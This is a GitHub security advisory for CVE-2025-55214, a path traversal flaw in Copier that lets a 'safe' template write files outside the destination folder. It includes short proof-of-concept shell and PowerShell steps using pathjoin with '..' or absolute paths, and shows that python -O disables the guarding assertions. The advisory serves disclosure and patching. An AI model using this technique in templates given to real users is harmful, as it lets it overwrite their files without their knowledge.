ghsa-p7q8-grrj-3m8w
Vulnerability from github
Published
2025-08-18 21:01
Modified
2025-08-18 21:01
Summary
Copier's safe template has filesystem write access outside destination path
Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

shell echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}" uvx copier copy src/ dst/ cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    ```shell

    Assumption: The current working directory is /tmp/test-copier-vulnerability/

    echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src/ dst/ cat forbidden.txt ```

  • Windows (PowerShell):

    ```powershell

    Assumption: The current working directory is C:\Users\<user>\Temp\test-copier-vulnerability

    echo "foo" > forbidden.txt mkdir src Set-Content -Path src\copier.yml @' drive: type: str default: "C:" when: false '@ echo "bar" > "src{{ pathjoin(drive, 'Users', '', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src dst cat forbidden.txt ```

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "9.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-18T21:01:07Z",
    "nvd_published_at": "2025-08-18T17:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier\u0027s builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user\u0027s write permissions), e.g., to cause havoc.\n\n#### Write access via generated relative path\n\nReproducible example:\n\n```shell\necho \"foo\" \u003e forbidden.txt\nmkdir src/\necho \"bar\" \u003e \"src/{{ pathjoin(\u0027..\u0027, \u0027forbidden.txt\u0027) }}\"\nuvx copier copy src/ dst/\ncat forbidden.txt\n```\n\n#### Write access via generated absolute path\n\nReproducible example:\n\n- POSIX:\n\n    ```shell\n    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`\n    echo \"foo\" \u003e forbidden.txt\n    mkdir src/\n    echo \"bar\" \u003e \"src/{{ pathjoin(_copier_conf.sep, \u0027tmp\u0027, \u0027test-copier-vulnerability\u0027, \u0027forbidden.txt\u0027) }}\"\n    uvx --from copier python -O -m copier copy --overwrite src/ dst/\n    cat forbidden.txt\n    ```\n\n- Windows (PowerShell):\n\n    ```powershell\n    # Assumption: The current working directory is `C:\\Users\\\u003cuser\u003e\\Temp\\test-copier-vulnerability`\n    echo \"foo\" \u003e forbidden.txt\n    mkdir src\n    Set-Content -Path src\\copier.yml @\u0027\n    drive:\n      type: str\n      default: \"C:\"\n      when: false\n    \u0027@\n    echo \"bar\" \u003e \"src\\{{ pathjoin(drive, \u0027Users\u0027, \u0027\u003cuser\u003e\u0027, \u0027Temp\u0027, \u0027test-copier-vulnerability\u0027, \u0027forbidden.txt\u0027) }}\"\n    uvx --from copier python -O -m copier copy --overwrite src dst\n    cat forbidden.txt\n    ```\n\nThis scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.",
  "id": "GHSA-p7q8-grrj-3m8w",
  "modified": "2025-08-18T21:01:07Z",
  "published": "2025-08-18T21:01:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-p7q8-grrj-3m8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier\u0027s safe template has filesystem write access outside destination path"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…